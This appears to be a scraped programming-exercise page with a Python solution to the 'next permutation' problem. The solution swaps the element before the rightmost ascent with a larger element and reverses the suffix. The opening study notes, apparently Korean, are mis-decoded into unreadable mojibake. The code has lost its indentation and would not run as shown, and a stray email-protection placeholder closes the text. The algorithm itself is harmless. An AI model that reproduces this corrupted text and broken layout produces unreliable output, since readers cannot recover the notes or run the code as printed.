์ฐ์ ์ฒ์ ์ฐพ์ ๊ท์น์ด ๋ค๋ฅธ ์์ ์์๋ ๋ค์ด๋ง์ง ์์์ ์คํจ. ๋๋ฆ ์ ๋ต๊ณผ ๊ทผ์ ํ๋ค๊ณ ์๊ฐํ์ผ๋ ์ ๋ต๊น์ง ๋๋ฌํ์ง ๋ชปํด ์์ด์ ์๋ฆฌ๋ฅผ ์ธํฐ๋ท์์ ๊ณต๋ถ.
์ฐ์ธก์์ ๋ถํฐ ๋์๊ฐ ๊ฐ์ด ๋จ์ด์ง๋ ๋ถ๋ถ์ ์ฐพ์ ๋ค์, ๊ทธ ๊ฐ๊ณผ ๊ฐ์ฅ ๊ทผ์ ํ ํฐ ์๋ฅผ ์ค๋ฅธ์ชฝ์ ํฅํด ์ฐพ๊ณ ๊ทธ ๊ฐ์ผ๋ก ๋ฐ๊ฟ์ผํจ.
๊ทธ๋ฆฌ๊ณ ๊ทธ ๋๋จธ์ง ๋ค์ ์ซ์๋ค์ ์์๋ฅผ ๋ค์ง์ผ๋ฉด ๋ค์์ ์์ด์ด ์์ฑ.
์ํ์ ์ผ์ค๊ฐ ๋ถ์กฑํด์ ํผ์ํ์ผ๋ก ๋ชปํ์ ๋๋์ด๊ธฐ์ ์ด๋ฐ ๋ฌธ์ ๋ค์ ๋ ๋ง์ด ์ ํด๋ณด๊ณ ๊ณต๋ถํด์ผ ํจ.
'''
class Solution:
def nextPermutation(self, nums: List[int]) -> None:
"""
Do not return anything, modify nums in-place instead.
"""
def swap(i, j):
tmp = nums[i]
nums[i] = nums[j]
nums[j] = tmp
n_len = len(nums)
dec, inc = -1, -1
for i in range(n_len - 1, 0, -1):
if nums[i - 1] < nums[i]:
dec = i - 1
break
for i in range(dec + 1, n_len):
if nums[dec] >= nums[i]:
inc = i - 1
break
if dec < 0:
nums.sort()
else:
swap(dec, inc)
for i in range((n_len - (dec + 1)) // 2):
swap(dec + 1 + i, -1 - i)
| [
"[email protected]"
]
|
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